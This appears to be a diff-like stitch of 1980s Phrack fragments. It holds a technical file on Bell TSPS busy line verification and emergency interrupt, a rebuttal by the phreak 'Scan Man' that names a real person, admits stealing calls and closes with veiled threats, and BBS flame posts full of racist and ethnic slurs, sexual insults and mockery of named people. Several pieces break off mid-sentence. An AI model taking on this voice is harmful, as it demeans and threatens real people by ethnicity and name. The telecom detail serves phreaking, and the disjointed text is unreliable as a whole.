+the previous file.  Most of this information will be taken from Bell System
+Publications so you don't have to worry about it being incorrect.
+
+    First off, I'd like to correct a minor error included in the first file. I
+use the format 'KP+0XX+PRE+SUFF+ST' to show the MF routing that is used. This
+is not correct AT&T syntax though, the correct format is KP+0XX+NXX+XXXX+ST.
+This is minor detail, but some people are very picky.
+
+The Verification Network
+------------------------
+
+    In a TSPS office, a verification circuit is associated with a 4-wire
+OutGoing Trunk (OGT) and a 3-way/4-wire bridging repeater arrangement. This is
+the circuit that does the speech scrambling. The speech and other tones (like
+busy and re-order) are frequency shifted, but are still recognizable by a TSPS
+operator.
+
+    TSPS verification trunks are connected via dedicated lines to incoming
+verification trunks in a toll office. The toll office provides either a link
+to an outgoing trunk and dedicated facilities to another toll office, or an
+outgoing toll connecting trunk and dedicated facilities to an incoming
+verification trunk in a local office. Each toll office has ways to check the
+security of verification trunks. In electronic toll offices (ESS offices), two
+independent office data translations provide security of the trunk. Electro-
+mechanical toll offices (Such as a CrossBar Tandem (XBT)) use an electrical
+cross-office check signal or a segregated switching train to control trunk
+connections. Verification trunks relay supervisory signals (such as answering
+supervision) to TSPS from the line being verified. Also, if verification
+trunks are busy, the TSPS operator will receive a re-order.
+
+The functions of the VFY key
+----------------------------
+
+    When the operator presses the VFY key, several checks are made upon the
+number that has been entered. These are:
+    A Check to see if the line is within the verification network accessible
+by that particular TSPS. If the line is not, the VFY key will flash.
+
+    A check to see if the owner of the line wishes BLV to be possible or not.
+If the line is something like a police emergency line, then the VFY key will
+flash, similar to the first check.
+
+Important TSPS keys
+-------------------
+
+    When the VFY lamp lights steady (doesn't flash), indicating the process is
+acceptable, the operator puts the calling customer on hold and accesses an
+idle loop on the operator position. The ACS (Access) lamp lights steady if a
+verification trunk is available at that time. Then, the operator presses the
+ST key which sends out the complete number to be verified, in MF. The
+verification circuit activates, and the operator listens for scrambled speech
+and also watches the CLD (Called) lamp on her console. The CLD lamp is lighted
+when the operator loop was accessed, and will remain lit if the line being
+verified is on-hook. The operator has two ways of seeing if the line is in
+use, by listening, and by watching the CLD lamp. If the CLD lamp light goes
+out, then the line is off-hook.
+
+    If a successful BLV/EMER INT is performed, the operator presses the REC
+MSG MSG (Record Message) key, which completes the verification. If the EMER
+INT lamp is lit, the charges for the interrupt and the verification are
+automatically billed. If the VFY key is pressed twice, it indicates the
+verification should not be billed. This could be due to a customer error or a
+customer disconnect.
+
+Charging capabilities
+---------------------
+
+    A customer can pay for a BLV/EMER INT in several ways. They can have the
+charges put on their phone bill, if they are calling from their home, they can
+bill the charges to an AT&T Calling Card, or pay directly from a coinphone.
+Details of the BLV/EMER INT function are recorded on AMA tape, which is later
+processed at the RAO (Revenue Accounting Office).
+
+    The classes of charge are as follows: STATION PAID, which means exactly
+what it says, STATION SPECIAL CALLING, in cases where billing is handled by a
+Calling Card or third number billing, and NO AMA, in unusual billing cases.
+
+    Also, for BLV/EMER INT calls that originate from a hotel, TSPS can send
+charges to HOBIS (Hotel Billing Information System), HOBIC (Hotel Billing
+Information Center), or a TTY at the hotel.
+
+    AMA records for BLV/EMER INT are recorded in basically the same format
+that normal calls are recorded. The only difference is that a numeric data
+group is added. The leftmost digit in the data group is a 1 if only a BLV was
+done, but it is a 2 if both a BLV and an EMER INT were done. In case of an
+aborted BLV, the billing record is marked 'No charge'.
+
+Inward Operator differences
+---------------------------
+
+    When an Inward operator does BLV/EMER INT, the class of charge is always
+NO AMA, because billing is handled at the local TSPS site. Inwards also do not
+use the REC MSG key when a TSPS would, they use the VFY key in it's place.
+
+The Speech scrambling technique
+-------------------------------
+
+    The speech scrambling technique that exists to keep the customers privacy
+intact is located in the TSPS console, and not in the verification trunks. The
+scrambling technique can only be deactivated by an operator pressing the EMER
+INT key, or a craftsperson using the console in a special mode. When the
+scrambler is deactivated by an operator doing an EMER INT, the customer hears
+an alerting tone (as mentioned in the first BLV file) made up of a 440Hz tone.
+This tone is initially played for two seconds, and then once every ten seconds
+afterwards until the operator presses her Position Release (POS RLS) key.
+
+Operator trouble reporting
+--------------------------
+
+    When operators have trouble in handling a call, they can enter trouble
+reports that are technically called 'Operator keyed trouble reports'. These
+cause messages to be printed on the maintenance TTY and on the trouble report
+TTY channel. There are different trouble codes for different things, such as
+trouble with the speech scrambler, trouble in the verification network, or
+trouble in collecting charges from a customer.
+
+    In my area there are 20 such TSPS trouble codes. These are done in MF.
+They are entered with the KP TRBL (Key Pulse Trouble) key followed by a two
+digit trouble code followed by an ST. A trouble code for beeper trouble could
+be entered as KP TRBL+62+ST, and speech scrambler trouble could be KP
+TRBL+89+ST. Some of the other reasons for trouble codes are: Crosstalk, No
+ring, Noisy, can't hear, improper supervision toward the called and calling
+parties, cutoff, positions crossed, coin collecting trouble, third re-order,
+distant operator no answer, echo, data transmission, no answer supervision, ST
+key lit for more than 4 seconds, and others for person-to-person and
+station-to-station completed collect calls.
+
+Maintenance and traffic measurements
+------------------------------------
+
+    These reports can be output from a maintenance or engineering and service
+data TTY, daily or hourly. Each daily report contains data for the previous
+day. Some traffic counts are as follows:
+    Total Verification attempts, VFY key depressions, VFY key depressions when
+the requested number is out of TSPS range, VFY key depressions in which the
+requested number wasn't verifiable, BLV trunk seizures which pass an
+operational test, and EMER INT attempts. Other traffic counts include the
+measurements for usage of BLV trunks, the amount of time BLV trunks were
+unavailable, and the number of times BLV trunks were seized.
+
+
+    I hope this file has helped people further understand how the BLV system
+works. If you haven't read part I, get a copy of Phrack Inc. Issue XI and read
+file #10.
+
+    As said earlier, most of this information comes directly from Bell System
+Publications and so it should be viewed as correct. However, if you do find
+any errors then please try to let me know about them so they can be corrected.

+Rebuttal to Phrack Issue 8 and 11 (File 11)
+Written by Scan Man.....
+
+It has been requested of Taran King (Who doesn't agree with KL on this subj)
+to put this somewhere in the next issue of Phrack (12) for proper
+distribution. Whether he does or not I cannot say.
+
+
+     Well a number of months have gone by now and I have been written about
+accused of and had rebuttals written for me, all of which were about as clear
+and factual as mud. And that includes the rebuttal that Telecomputist has in
+effect tried to stand with me, and making matters only worse by inaccurate
+information. But then all of this started with inaccurate information from
+PWN, didn't it. KL has resorted to interfering in other peoples lives in order
+to promote his so called news publication. To this I say, if you are going to
+call it news then make it facts. I can buy the Enquirer if I want sensational-
+istic readership boosting and inflated gossip. You do no justice to yourself
+or your publication. I really shouldn't dignify any of this with comment but
+shall as the entire matter has been blown so far out of proportion and since I
+have been phreaking since these kiddies were still messing their diapers I
+feel it a little more than an inconvenience, particularly since these
+gentlemen (and I use the term loosely) can't seem to accomplish anything but
+guesswork and conjecture and have cost me (and my wife and son) a $50,000 job
+so the least I can do is get a few FACTS out.
+
+First, I was (and I stress was) employed by a company called Telecom
+Management Corporation. Notice the initials of this company (TMC). Telecom
+Mgnt is a management company, and a management company manages other
+companies. Among the companies it manages are 6 TMC Long Distance markets
+(none of which are in Vegas), two of which are in Charleston where I live and
+NY where I worked (up until two snotty nose teenagers (KL & SR) decided to
+stick there nose where didn't belong). At any rate I was hired and paid by
+Miami, lived in Charleston, and worked in NY. And yes with regard to your "he
+must have been quite an asset to them," I was an asset to them. And KL you
+seem to think it was surprising that they flew me to NY every week. I don't,
+and I'm sure the other 100 businessmen on my flights who I traveled with
+regularly would be surprised that they carried the unique distinction of being
+somehow in the wrong for having their companies send them to NY every week.
+I'll have to tell them this one for a good laff next time I get a 50,000
+dollar a yr job that sends me to NY. Moving right along, I will add that I was
+employed as a Systems Analyst. When I was originally hired, my interview was
+by a fellow from Miami (Telecom Mgnt) and the interview was conducted in the
+Chas office (one of the few times I was ever in there). This however doesn't
+explain why Pauline Frazier and Ben Graves knew me or didn't care for me. The
+reason for this was quite simple: they both knew about me and the bulletin
+board and had also been trying to catch me stealing calls from there company
+(don't know where they ever got that idea <grin>). At any rate they obviously
+were quite unhappy because I got that job.
+
+The next comment in rebut to Telecomputist which was a rebut to PWN Phrack
+Issue 8 (what a nightmare), was, and I quote, "I claimed not to have any ties
+with Vegas but didn't claim not to have ties with TMC." Boy talk about factual
+journalism, really grabbing for straws aren't you. Anything to make me look
+bad huh? Wonder why. Wouldn't be for more copies for your next issue would it?
+As you could see at the beginning of this rebuttal I clearly stated that
+Telecom Management ran 6 TMC markets as well as other companies and that they
+were connected but separate from each other. Although none of it is relevant
+to any of this, but that doesn't matter when you are out to get copies for
+your next issue does it KL. At any rate this also shows where Telecomputist,
+although trying to do a good thing, got their facts mixed up too by
+misunderstanding the fact that Telecom Managements initials were the same as
+TMC and were unrelated companies when actually they are.
+
+In you next comments you say, "The rest of my statements are highly debatable"
+(might try looking at a few (no make that all) of your own). You also said
+that my statements have no proof (as if yours are so damn factual). First, I
+don't have to prove a thing to assholes like you or anyone else for that
+matter. You also state your decision (as if you have the right to make any
+decisions about me, (shit boy you don't even know me, but you may soon) was to
+do nothing because of lack of proof. And you call what you came up with truth?
+Based on what, your vast personal knowledge of me, your knowledge of something
+some phone phreak told you, because of having worked with me? As for providing
+more ammunition to the idea, I'm not what I claim to be. I have claimed to be
+nothing, it's you doing all the claiming. And there is no "ammunition" to be
+had from the Telecomputist article as it was about as accurate as yours have
+been. Shows you what two people who know nothing about nothing can do if they
+put their minds to it. I might add that this is the first and last statement I
+have personally written that has anything to do with any of this. You also
+stated that, "after three months you had proof," yet you have shown only
+words, not a speck of proof or truth. You have taken the Telecomputist article
+apart and tried every way there was to tear it apart, most of which was
+guesswork and innuendo. Examples of this are your quotes of, "Gee isn't that
+awful expensive," "Notice how he didn't say he had no ties with TMC,"
+"Statements were highly debatable," "Now that he has had a few months to come
+up with a story," etc., that's some real facts there KL, you're a real
+journalist who deals only with facts. You're not out for gossip or character
+assassination. Riiiiiight. I've just been waiting for you to put your foot in
+your mouth (in this case both feet). (Don't worry, I'm sure they will fit
+nicely)
+
+I think it's also time to tell the story of how all this got started. It's
+really a comedy of errors (only I'm not laffing). As I stated earlier I was
+paid by Miami, as that's where the home office was. This meant that on
+occasion I also went to Miami as well as NY. In Dec of 85 I learned of a new
+organization being formed called the CFCA (Communications Fraud Control
+Association) although in addition to communications, they support computer and
+credit security as well. Knowing that all the top security people were going
+to be there and being a good phone phreak on the eternal quest for inside
+knowledge, I wanted in on this conference which was held the 6th, 7th and 8th
+of Feb 86 in Miami. Soooooo I convinced Telecom that we should check these
+People out for some benefit to our company with regard to my job (Systems
+Analyst) as after all it was my job to not only develop and operate the
+companies' computers but keep them secure as well. So I had had the perfect
+excuse to get me in the conference. They agreed with me and went for it and
+paid for my flight down there and the conference fee. Moving right along, it
+was the 1st day into the conference when just at lunch I was talking to a guy
+from Pac NW Bell named Larry Algard (whose name I had forgotten til Sally Ride
+showed up on the BBS saying Larry the Algardian had sent me a couple of weeks
+later). At any rate while talking to this guy, a security agent from one of
+the other LD companies that was there came up and said, "Aren't you Scan Man,
+the guy that runs P-80?" Needless to say I about shit, and had to come up with
+a damn good answer in about a 100th of a second. Knowing I was there legally
+with the authority of my company, I answered back (in front of Larry Algard),
+"Yes, but unbeknownst to my members it's an undercover board for TMC the
+company I work for." And since Telecom Management Corporations initials were
+TMC and they did manage 6 TMC LD companies I knew I was safe if he decided to
+check me out, which I was worried about because earlier this same guy (the one
+that said, "Aren't you Scan Man") had made a comment about the security of the
+meeting and that he believed hackers had infiltrated the meeting. At any rate,
+I was out of the fire with this guy and everyone (about 7 others) standing
+around in our circle. It does however get worse. Two weeks later I got a new
+user on the board named Sally Ride saying, "Larry The Algardian sent me" and
+the msg subj was titled Scott Higginbotham.  I answered the msg asking him
+where he got that name (Scott Higginbotham, my real name) but he thought I
+meant where did he get the name Larry the Algardian (see msg reprint below).
+His reply is as follows (actual copy of msg)
+
+Scan Man, I got the name from an electronic memo from Sec. Mgr. Larry Algard
+to his boss, George Reay. Since I've access to these files via PNB's UNIX AOS,
+I read about Algard's meeting with Scott at a CFCA Conf. in Miami. It's nice
+to be able to know what the other side is up to, but how did you infiltrate
+CFCA? I was able to infiltrate PNB Sec. thru their own system. But, to attend
+such a meeting of the toll carriers of the nation and learn their plans to
+combat us is a real coup!  Understand where I'm coming from?
+Sally Ride:::Space Cadet
+
+Now from this msg you can see two things: first that Sally Ride is a two faced
+little S.O.B., plus you can also see why he would think I was fed. I can
+almost (again I stress almost) understand why he was suspicious. This msg also
+points out that at least in his msgs to me he was of the opinion that I had
+infiltrated the conference (not that his opinion about anything matters).
+Then, on a social ladder climbing binge, he turns it around to me being one of
+them (as if he was the only person in the world who could infiltrate
+something). To this I say again, I was doing this when you were still in
+diapers (SR). Even though I can legitimately understand why he would think I
+was a fed as this at least "APPEARS" to be proof that I'm a fed, by that I
+mean if I had broken into a telco security computer and found a msg saying
+that so and so was running a sting board, I would be prone to believe it
+myself. What Sally didn't know was that I had to say that at that conference
+to keep from being fried myself when confronted by a security agent who
+recognized me. But then what are the odds of someone breaking into the very
+computer reading that very msg. If it were me and I was going to take this
+information to the phreak community I would have to state the facts, which
+were that he found this msg, "then print msg". I would not go into the
+guessing that he and KL did in the original Phrack article (or this last one,
+since the first obviously wasn't enough). But back to the point of all of
+this, "WHAT WOULD YOU SAY STANDING IN THE MIDDLE OF 500 TOP TELCO SECURITY
+PEOPLE AND ONE WALKS UP AND SAYS, "AREN'T YOU SO AND SO THAT RUNS SO AND SO
+BBS?"  See what I meant about a comedy of errors? Do you also see why
+sometimes what is apparently the truth isn't always what it appears as. Do you
+also see what I mean about gossip and poor journalism? This is not the first
+time that Sally  or KL has tried to distort facts and interfere with people's
+lives. I am referring to the past David Lightman incident. Instead of
+belaboring this point, I shall, in the fashion of the great journalists (KL &
+SR), reprint another msg from Sally regarding this other incident in order to
+show what kind of individual we are dealing with (a 19 yr old who if he spent
+as much time hacking and phreaking as he does stretching the facts and butting
+into peoples lives might be a good phreak/hack).
+
+From: Sally Ride
+
+Well a couple of things..first about Phrack World News..the above mentioned
+article about Blade Runner and David Lightman was credited to David Lightman
+and Blade Runner and someone else, maybe K.L. I really don't know either David
+or Blade that well, but when someone is accused of being a cop, or a phone
+cop, or whatever, I see no reason to keep that a secret from the phreak-world.
+Everyone is able to make their own conclusions based on the information
+provided and considering the sources. Finally, and I hope this ends all
+discussion about this on the "Elite" section of this BBS. Is that what is
+allowed for discussion here? Really, character assassination should be kept to
+the War Room of some other K-Rad luzer BBS. Secondly, thanks to all who kept
+me up to date on the status of the BBSes that had suddenly dropped out of
+sight all for separate unrelated reasons. I found The Twilight Zone, now the
+Septic Tank, it's back at 203-572-0015, old accounts intact. Taran King's
+Metal Shop Private should be back up within hours of this message, see PWN 6
+for the details. And Stronghold East is still down as far as I know, should be
+back around 7/1. Broadway's always been weird but turning informant? Will
+wonders never cease? And, TUC has a board again? And, here I thought he was a
+"Security Consultant", per W.57th St. Who knows who's side who is on?  Scan
+Man, here's news from your neck of the woods. A company named Advanced
+Information Management Inc. run by Robert Campbell. The June 23rd issue of
+Communications Week says this guy and his 17 consultants are all over the BBS
+world. They are based in Woodbridge, VA. Know anything about them? Sound like
+some more narcs to worry about.  What is the true story on Ralph Meola? PWN 6
+says he's the head of AT&T Security.  Has anyone ever heard of him before?
+Sally Ride:::Space Cadet
+
+I believe your words were, "character assassinations should be kept on some
+k-rad Luzer war board" (try taking some of your own advice, or is it different
+when it's your friend). You also made the statement that everyone should be
+able to make their own decisions based on the sources. In my case it's two
+guys that don't know me or really anything about me (KL & SR). Did anyone also
+notice Sally's tendency toward a persecution complex? Everyone he mentioned in
+the msg is thought to be a phone cop. I mean, really, take a good look at that
+msg. It's quite obvious this boy is playing God and deciding who is and isn't
+on who's side (you're not the only one who saves msgs). He's either attacked
+or defended (mostly attacked or insinuated) about 5 people in one msg of being
+the bad ole phone cop. Who set you two up as judge and jury? As to how I feel
+about it, I'll use an old saying with a new twist, "If you want to hear the
+jukebox, you damn well better have a quarter," better known as "pay the
+piper". Does it sound like I'm upset? I mean how would you feel if you had
+trouble keeping your family fed, heated, and housed because some asshole that
+just hit puberty stuck their nose into your life. Tell your son, no he can't
+go skating because you don't have the money because........etc.....Also I
+might add that a number of us old guards who were phreaking before there were
+computers and BBSes such as my old friend, Joe Engressia (Secrets of Little
+Blue Box, Esquire 71) (avail P-80) and others have done actual security work
+(not busting heads) defeating security systems on new payphones (test before
+marketing) etc for yrs. I don't see anyone jumping up and yelling phone cop on
+these guys. People who are admitted security people who also claim to be
+phreaks are ignored. So why all the stink with me? In closing I would like to
+say that I have little doubt that in their usual fashion KL and/or SR will
+attempt to go over every word I have typed looking for more SO CALLED FACTS.
+Any way you try to reword it will only be more twisting and supposition.  Sooo
+be my guest. You will get no more comments from me. The next time either of
+you two hear from me, you better have your Quarter for the jukebox cause it
+will be time to pay the piper.
+
+P.S. KL do me a favor and call my board and let me know whether you will be at
+this phreak conf in St Louis. If so I recommend old cloths, and clean
+underwear.
+
+
+(Oh yes and a quarter.)

+         This issue was delayed due to THE EXECUTIONER who may be blamed for
+the slow date release of this issue.  We currently believe him to be trekking
+back to his home in the Himalayas to hide with his mom (Saskwatch).  Heh...
+Just getting you in the mood for what's ahead.
+
+         This issue is NOT to be taken seriously in any manner (except

+None of the files have been formatted.  None of the files have been spell-
+checked.  Don't expect quality from this issue...just have fun.  Later.

+own because I am such an awesome studly dude.  Something you would know nothing
+about, being studly that is.
+
+Master Vax, you are an utter bore who has nothing contributing to say.  You are
+so useless.  When people say "Sexy-Exy", they say "Ragger Elite, good knowledge
+and not too bad of a cosysop."  When people say Circuit Breaker, they say
+"who?????" . Face it, you are basically non-existent in the modem world. You
+command nothing and you hang out with the lowest echelon like Dr. Doom who sat
+there for about 10 minutes taking my abuse, making lame comments thinking he
+was cool.
+
+Anyway, this is a phreak/hack sub, not some rag board where I am allowed to
+bug the hel out of you. And when it comes right down to it, I don't brag about
+my knowledge, because "Those who proclaim their knowledge, proclaim their
+ignorance".

+Executioner...
+  Well, it seems that a little more than a week ago, it was 'Dr. Doom, we (PLP)
+feel that you would be a valuable addition to our group and therefore are
+extending an invitation to join the Phone Line Phantoms.' and then I told you
+quite simply that I wasn't interested in joining PLR (Phone Line Raggers). NOW,
+you are calling me voice just to rag on me and posting 'Dr. Doom the loser...'.
+So, the other week you were kissing ass 'Dr. Doom join PLP....' , etc... and
+now quite suddenly I have become a loser because I didn't join PLR.
+
+Guy, I could in a few minutes come up with LOADS of stuph to say about you, but
+since you carry no weight and are on some kind of an ego-trip I will let you go
+off to Central Park and play Ninja with Broadway.

+This is getdhng good, its been a while since we saw a really heated battle on

+
+By the way, Dr. Doom, we thought you had some knowledge (at least TEL did).
+When I read all 31+ files you wrote, which happened to come straight out of
+manuals, I was not impressed. I am not ragging on you because you didn't join,
+I am pointing out a harsh reality that you should face.
+
+You are a peon compared to the monolithic stature of one such as I.
+You are an amoeba compared to the complex genius person I am.
+You are a pimple compared to the sexyness and looks such as I.
+You are a clinging form of pig feces.
+
+You throw absolutely NO weight around. No one cares about you or your bbs.
+having absolutely no reputation, you proceed to write 31 files because you cry
+at home fearing that no one likes you. And, I have composed a neat little tune
+about you to the Beverly Hillbillies (Your ancestors)
+
+          Now listen to a story about a boy named Doom,
+          Poor Modem geek who would never leave his room.
+          Then one day he was talking on the phone,
+          When up in his pants came a miniature bone.
+          Penis that is, kind of like a toothpick.
+          Well the next thing you know old Doom has a board,
+          Running on a commie cuz it's all he can afford.
+          So now doom sits at home as happy as can be,
+          thinking he's cool he turns down PLP.
+          So now he thinks he happnin he thinks he's rad,
+          With his high pitched voice, god this boy is sad.
+          And this is the story about a dork named Doom,
+          Poor modem geek who DOESN'T want to leave his room.
+          Why?
+          Because your UGLY! D-O-O-M! (<-that was to Mickey Mouse)

+Heh. That was pretty cool.  Doom you have no talent what so ever, I could pick
+up a manual and start typing away.  When data demon and I were talking to you
+via 3 way you couldn't even answer some basic CCIS stuff.  And Lover was the
+only person who wanted you in the group, I hope he wasn't impressed by your
+files (volume I, II, III, IV, V, etc.. heh).  And if you think that all PLP
+does is rag, well you must not know what's up in the world.  And make up your
+mind, you keep changing your group's name and bragging about turning down an
+offer to be in PLP.  Well, Doom my boy you told me your were going to drop
+Metro Communications to join PLP until you saw Exy's rag on your so called
+Commie 5 messages per sub board.  Shit your board was up longer than Link, and
+Link blows it away.  Well, I really should stop this ragging because it's
+pretty uncool, then again Doom is uncool.  Anyway your group is gay in the

+Well, as some of you might have seen lately, certain people do not relish the
+fact that I thought very little of them so they are attempting to slander my
+good name by saying that I know nothing and that every file I have ever written
+was copied from manuals.  First of all, most files I have written do contain
+some information that was origionally printed on some Bell or AT&T document,
+because they relate to such things as ISDN, but by NO means are they copied
+from manuals in any way.
+
+Mikie, that was a rather amusing song, but in no way did anything in it come
+close to possibly reflecting me.  I mean it is nice that you want to tell
+everybody about your life and all, but you really should not try to
+self-project your tragedies on someone else.  If you need help trying to come
+up with some auto-biographical titles about yourself, you should try :
+
+     'The Life and Times of a PLP Loser Named Mikie Chow Ding Dong Dung.'
+
+Oh, did you call me UGLY?  that is quite far from the truth.  Look at you,
+someone who as a child could use dental floss as a blindfold.  calling me UGLY?
+Humor me more Mr. 'UGLY' Chinaman who writes files on 'Beauty Techniques'.
+Face it, some people are just born naturally handsome and don't need make up to
+disquise their grotesque features like you do.
+
+Since you think you are SO tough, you are cordially invited to come down here
+to Texas where talk is cheap and doesn't mean shit.  (Don't forget to bring
+your throwing star collection....'

+Doom, Spare me your lame tongue flapping and breath exhultation that only makes
+you look like the fuckoid you are.  People have met me, people know that what I
+say is all backed up and all true.  Who has met you? No one has met you so you
+can fling all the bullshit you want.  When I say I am gorgeous, the people who
+have met me can always say, "I've met you and you are a dork".  But do they?
+No, because I am not a dork unlike yourself.
+
+I don't know where you get the idea that I am some karate dude, because I am
+not, and don't even care to be.  Unless you are stereotyping all of us
+orientals like that, showing that you are in an ignorant chunk of muleflesh.
+And I could stereotype you, the polish, born of blue collar trash collectors.
+I am sure you go bowling and have bowling trophies mounted in glass cases in
+your cardboard house.  How is that dirt floor?  How is the bearskin door?  I
+know you are of low social stature and therefore do not know or even comprehend
+the social elegance that I am born and bred in.  So you can just take you and
+your $20000 income that your family makes and just save it for someone who is
+at your level.
+
+Is it true that the welfare lines are long?
+How was the goverment cheese giveaway?

+Ass kissing?  Please, spare me the vomit of your mouth huh bud?  Taran says
+something about ISDN and since I knew something about what he said, I decided
+to expand it into an explanation which is definately not ass kissing.  I don't
+kiss anyone's ass because I dont have to.  Taran does not delete me out of
+mutual respect I have for him and I should think he has for me.  Notice I don't
+use low-level words like "fuck" and "shit" and all the other terms that people
+with IQ's of a marble statue have.  So Dr. Doom is a good friend of yours huh?
+Probably your ONLY friend because both of you look like the Elephant Man....
+"I'm Noooooooot an ANIMAL!!!", don't worry Doc, Paper bags are still in.
+
+As for files, I have written my share, and really could care less whether or
+not you can read or not.  As for the PhoneLine Phantoms, we are not just a
+telecom group, we are comprised of the 4 best looking, studliest people.  When
+I heard about Doom, I said, well, I dunno, we will have to reduce our image of
+4 studs into 4 studs and 1 dud.  As for playing with my male organ, you must
+know more than I, considering you know all these nifty little sayings you must
+have thought up when you were raping that coke bottle.  As for calling Doom, I
+call when I get a deep feeling of pity abnd decide to enlighten the poor
+impoverished boy.
+
+So, why don't you, Doom, Master Vax (Circuit Breaker) go and slither back into
+your holes where you can fester and leave the REAL stuff to me and Culprit.
+
+And if you really wanna take this issue far, I propose a challenge.  I will
+send my picture to an unbiased third party and you do the same.  Then we will
+see who is the REAL Sexy-Exy.  Oh yeah, it's Mikey, not Mikie, and Exy, not
+Exie, and I prefer a "Mr. Executioner, sir" before you speak to me. I will just
+call you little peon...

+PLP vs. Everyone has to stop, guys...at least on the phreak board.  This is
+for telecommunications only.  If you really want, I can create a rag subboard
+so you can bitch all you want, but it's getting a bit tedious out here.  Exy,
+I know you have quite a bit of knowledge hidden somewhere in your mind, I've
+seen your philes, and they're decent.  Dr. Doom, I know you pretty well, and I
+thought the two philes I read were quite decent as well.
+
+How about a bit of unity in the crumbling phreak world that we know today, huh?
+It's already in shambles and people are getting totally bored of it, or are
+being busted.  Most of us on here have been around for at very least 6 months
+so that says something about us...I know Exy wouldn't mind a rag board, because
+he excells in it, but I'll leave the final decision to the users.  Go V:ote
+now, please, and stop posting rags...MORE INFO!!!

+Well, I am going to change the discussion because I am quite (yawn...) tired
+of  this useless ragging.  (By the way I drive a sports car, live in an
+affluent neighborhood, and am not Polish but of English decent).  OK, like I
+was saying I am going to try to put a little life back into the Phreak World
+with a new Electronic Journal.  The Dr. Doom Journal of Telecommunications as
+I call it will center around topics and techniques that have not been readily
+discussed.  Although I will be doing a lot of writing (because I like to), I am
+looking for anyone else that might be interested in helping out.  One of the
+Departments will be like a mini-catalog of places where you can order all
+sorts of cool stuph from that has to do with Telecom, etc...  If you are

+
+Well, since I have been away, I have noticed a few changes, but some things
+will never change I guess.  Executioner is the same fag he's always been.  Big
+deal, he has expanded his ragging capabilities all the way to Texas with
+Dr. Doom, who happens to be a good friend of mine.  I have one question for
+you Mike, do you do anything else besides vegetate in front of your monitor
+and write songs about people?  You seemed to have a very good knowledge of the
+content of the "Hillbillies" song.  I guess that shows your level of intellect.
+
+I really dislike ragging so this is probably the only post that will deal with
+it.  If you have something to say to me, call me, if you can get my number I
+will be more than happy to toy around with you.  You are shit.  That is what I
+get out of all of this.  You rag on Dr. Doom's files but, have you ever written
+a file with useful information in it?  I seriously doubt it.  Some of Doom's
+files are so-so because I already know a lot of it, but many of his articles
+are actually quite informative.  Have you even read any of them?
+
+Also, why is it that you call him quite often every day?  Have you ever left
+your house or anything besides to ride the little school bus to get to school?
+That is very doubtful also.  Taran, why don't you just get rid of this nusance?
+Is he some sort of threat to you?  Anyway, Exie, about your brown-nosing, I see
+all of these rag posts of yours, then Taran posts something on ISDN and then
+you immediately post something on the topic, afterwhich you go back to ragging.
+If that isn't ass-kissing then explain to me what is.
+
+What about PLP, why do you even bother to exist?  I am speaking mainly to
+Carrier Culprit and The Executioner.   I remember being on three-way with CC
+and someone else whom I won't name, and listening to him say things about me.
+I have never even talked to the person before.  Then when I got on the line and
+talked with him, he didn't know anything.  I would ask about general telecom
+topics and he would say "I'm sorry, I don't know much about the phone network,
+I hack mostly", then I would ask something about hacking and he
+co-oincidentally couldn't remember his way around those systems very well
+because they weren't that important.  Did someone mention DEC?  They are a
+really nice company.  I am involved with them quite often.  I even use a DEC
+terminal to call places instead of a computer.  The Executioner probably thinks
+a DEC is something you play with every night before you go }to bed, because of
+his personal experiences.  He is a DEC (w)hacker, but anyways, I think I have
+made my point.

+On a recent visit to The Iron Curtain, (I think that was the one).. well it was
+my first time on and they were talking about stuph like newsletters and things
+like that.. one post said something like this:
+
+"Okay... I know you guys have heard of TAP and 2600, well there is a new
+phreak/hack newsletter.  It's called Phrack [Please note that by this time
+Phrack X was already well underway and being distributed] try and get a file in
+it.  Phrack is all these files.  It looks really good.  I would try to get a
+file in there to impress your friends."

+
+I think common sense should be used by the authors and editors of newsletters
+that get around, that is, not to overplay or exaggerate anything concerning
+someone's feats, or knowingly print invalid information while keeping the real
+information for themselves.  Of course, if the whole newsletter writing
+population (of which I am a part) started churning out idiotic files about
+idiotic things, then maybe the security people and rich business pigs would
+dismiss us as dumb kids.

+
+I have an idea for a mod that will save the users a hell of a lot of time.
+Howabout put an IF THEN statement when you are saving the message so that if
+the name is "ORYAN QUEST" then it won't save then we won't get rodenty G-File

+I heard that if you crank a TMC code through the DES algorithm, and then
+through the Cristensen CRC-16 algorithm, followed by complementing its
+packed binary value and then encrypt it to "kl.LLL.hyuuuu" using the German
+enigma, you'll get a COSMOS dialup!

+         So, you're willing to give up EVERYTHING to be elite, huh?  Well,
+you've come to the right place.  We know from EXPERIENCE.  We know FIRST HAND.
+We know because we ARE ELITE (not elite, ELITE).
+         Some of you may recall our first version of this file which was

+much more mature and ELITE and you aren't so there.  Here's the file, learn

+
+Real phreaks don't utilize anything pertaining to phreaking/hacking in their
+handles (Phantom PHREAKER, CODES Master, CODE Manipulator, Bill from RNOC,
+Perpetual PHREAK, Luke VAXHACKER, VMS Consultant, Holophax PHREAKER,
+Ubiquitous HACKER, Dr. HACK, PHREAKY Floyd, Broadway HACKER, The Mad HACKER,
+The PHREAKazoid, PHREAKenstein, Dan The OPERATOR, and ORYAN QUEST).
+
+Corollary:  Real phreaks or hackers don't have ORYAN QUEST in their name.
+
+Real phreaks don't get in trouble when people harass their parents (Phucked
+Agent 04, The Executioner, and Oryan Quest).
+
+Corollary:  Real phreaks don't name themselves Oryan Quest if they know that
+they're going to receive harassing phone calls.
+
+Real phreaks don't look like celebrities (Mark Tabas - Tom Petty, Shooting
+Shark - Mork from Ork, Telenet Bob - Danny Partridge (200 pounds later), John
+Draper - Marty Feldman in Young Frankenstein, The Executioner - All of the
+group members of Loudness, Broadway Hacker/The Whacko Cracko Bros. - Tommy
+Flenagan, Mr. Zenith's mother - Fred Sanford, The Lineman - Spanky, Sigmund
+Fraud - The Great Pumpkin, and Oryan Quest - the Mexican cab driver in D.C.
+Cab).
+
+Corollary:  Real phreaks didn't crawl under a fence to become a citizen of the
+United States of America.
+
+Real phreaks don't go to Tap (Dead Lord, Cheshire Catalyst, Sid Platt, and
+Oryan Quest).
+
+Corollary:  Real phreaks don't piss Taran King off so that they would get a
+rag file dedicated to them.
+
+Real phreaks don't name their group after a real phreak (New religion:
+Luthorian.)
+
+Real phreaks don't get busted and come back numerous times (The Whacko Cracko
+Bros., Dr. Who, Mark Tabas, Holophax Phreaker, and Oryan Quest).
+
+Real phreaks don't get kicked out of the FBI (Ahem!).
+
+Real phreaks can't speak 2600 in their normal, everyday voice (Ax Murderer,
+The Wizard, The Preacher, and Oryan Quest).
+
+Real phreaks don't have busha-bushas (Eric Corley, John Maxfield, The Bootleg,
+and not Oryan Quest's mother).
+
